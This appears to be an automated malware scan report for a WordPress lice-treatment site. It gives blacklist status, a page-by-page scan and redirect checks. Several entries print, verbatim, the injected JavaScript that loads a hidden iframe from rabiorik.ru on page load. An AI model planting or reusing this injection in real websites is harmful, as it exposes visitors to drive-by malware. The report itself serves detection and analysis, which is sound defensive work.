Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=torontolicetreatment.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://torontolicetreatment.com/
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://torontolicetreatment.com/ | 200 OK Content-Length: 7696 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: rabiorik.ru ...[3942 bytes skipped]... tml><script type='text/javascript'> function create_frame(a){var b=document.getElementById('w75oii');if(typeof(b)!='undefined'&&b!=null){}else{var c=document.createElement('iframe');c.id="w75oii";c.style.width="0px";c.style.height="0px";c.style.border="0px";c.frameBorder="0";c.style.display="none";c.setAttribute("frameBorder","0");document.body.appendChild(c);c.src=a;return true}}function 4dncwee(){create_frame("http://rabiorik.ru/ilqnsdd.cgi?default")}try{if(window.attachEvent){window.attachEvent('onload',4dncwee)}else{if(window.onload){var curronload=window.onload;var newonload=function(){curronload();4dncwee()};window.onload=newonload}else{window.onload=4dncwee}}}catch(err){} </script> | ||
http://torontolicetreatment.com/wp-includes/js/jquery/jquery.js?ver=1.11.0 | 200 OK Content-Length: 96402 Content-Type: application/javascript | clean |
http://torontolicetreatment.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1 | 200 OK Content-Length: 7200 Content-Type: application/javascript | clean |
http://torontolicetreatment.com/wp-content/themes/responsive/js/responsive-modernizr.js?ver=2.6.1 | 200 OK Content-Length: 15117 Content-Type: application/javascript | clean |
http://s0.wp.com/wp-content/js/devicepx-jetpack.js?ver=201440 | 200 OK Content-Length: 9301 Content-Type: application/x-javascript | clean |
http://torontolicetreatment.com/wp-content/themes/responsive/js/responsive-scripts.js?ver=1.2.1 | 200 OK Content-Length: 11265 Content-Type: application/javascript | clean |
http://torontolicetreatment.com/wp-content/themes/responsive/js/responsive-plugins.js?ver=1.1.1 | 200 OK Content-Length: 938 Content-Type: application/javascript | clean |
http://torontolicetreatment.com/sample-page/ | 200 OK Content-Length: 6695 Content-Type: text/html | clean |
http://torontolicetreatment.com/services/ | 200 OK Content-Length: 5067 Content-Type: text/html | clean |
http://torontolicetreatment.com/author/terry/ | 200 OK Content-Length: 11047 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: rabiorik.ru function create_frame(a){var b=document.getElementById('qoiii4');if(typeof(b)!='undefined'&&b!=null){}else{var c=document.createElement('iframe');c.id="qoiii4";c.style.width="0px";c.style.height="0px";c.style.border="0px";c.frameBorder="0";c.style.display="none";c.setAttribute("frameBorder","0");document.body.appendChild(c);c.src=a;return true}}function lw4eeex(){create_frame("http://rabiorik.ru/zsidddb.cgi?default")}try{if(window.attachEvent){window.attachEvent('onload',lw4eeex)}else{if(window.onload){var curronload=window.onload;var newonload=function(){curronload();lw4eeex()};window.onload=newonload}else{window.onload=lw4eeex}}}catch(err){} Decoded script: function lw4eeex() { create_frame("http://rabiorik.ru/zsidddb.cgi?default"); } | ||
http://torontolicetreatment.com/hello-world/ | 200 OK Content-Length: 5806 Content-Type: text/html | clean |
http://torontolicetreatment.com/category/uncategorized/ | 200 OK Content-Length: 11097 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: rabiorik.ru function create_frame(a){var b=document.getElementById('7e42');if(typeof(b)!='undefined'&&b!=null){}else{var c=document.createElement('iframe');c.id="7e42";c.style.width="0px";c.style.height="0px";c.style.border="0px";c.frameBorder="0";c.style.display="none";c.setAttribute("frameBorder","0");document.body.appendChild(c);c.src=a;return true}}function ngs4x1j(){create_frame("http://rabiorik.ru/qekibtc.cgi?default")}try{if(window.attachEvent){window.attachEvent('onload',ngs4x1j)}else{if(window.onload){var curronload=window.onload;var newonload=function(){curronload();ngs4x1j()};window.onload=newonload}else{window.onload=ngs4x1j}}}catch(err){} Decoded script: function ngs4x1j() { create_frame("http://rabiorik.ru/qekibtc.cgi?default"); } | ||
http://torontolicetreatment.com/2012/07/ | 200 OK Content-Length: 10974 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: rabiorik.ru function create_frame(a){var b=document.getElementById('2pot3i');if(typeof(b)!='undefined'&&b!=null){}else{var c=document.createElement('iframe');c.id="2pot3i";c.style.width="0px";c.style.height="0px";c.style.border="0px";c.frameBorder="0";c.style.display="none";c.setAttribute("frameBorder","0");document.body.appendChild(c);c.src=a;return true}}function jqwi4ze(){create_frame("http://rabiorik.ru/cashivd.cgi?default")}try{if(window.attachEvent){window.attachEvent('onload',jqwi4ze)}else{if(window.onload){var curronload=window.onload;var newonload=function(){curronload();jqwi4ze()};window.onload=newonload}else{window.onload=jqwi4ze}}}catch(err){} Decoded script: function jqwi4ze() { create_frame("http://rabiorik.ru/cashivd.cgi?default"); } | ||
http://torontolicetreatment.com/2012/ | 200 OK Content-Length: 10858 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: rabiorik.ru function create_frame(a){var b=document.getElementById('rqyu');if(typeof(b)!='undefined'&&b!=null){}else{var c=document.createElement('iframe');c.id="rqyu";c.style.width="0px";c.style.height="0px";c.style.border="0px";c.frameBorder="0";c.style.display="none";c.setAttribute("frameBorder","0");document.body.appendChild(c);c.src=a;return true}}function alo1tp4(){create_frame("http://rabiorik.ru/jzgtrfi.cgi?default")}try{if(window.attachEvent){window.attachEvent('onload',alo1tp4)}else{if(window.onload){var curronload=window.onload;var newonload=function(){curronload();alo1tp4()};window.onload=newonload}else{window.onload=alo1tp4}}}catch(err){} Decoded script: function alo1tp4() { create_frame("http://rabiorik.ru/jzgtrfi.cgi?default"); } | ||
http://torontolicetreatment.com/wp-login.php | 200 OK Content-Length: 2721 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: torontolicetreatment.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Wed, 01 Oct 2014 16:17:32 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Pingback: http://torontolicetreatment.com/xmlrpc.php
GET / HTTP/1.1
Host: torontolicetreatment.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Wed, 01 Oct 2014 16:17:32 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Pingback: http://torontolicetreatment.com/xmlrpc.php
Second query (visit from search engine):
GET / HTTP/1.1
Host: torontolicetreatment.com
Referer: http://www.google.com/search?q=torontolicetreatment.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: torontolicetreatment.com
Referer: http://www.google.com/search?q=torontolicetreatment.com
Result:
The result is similar to the first query. There are no suspicious redirects found.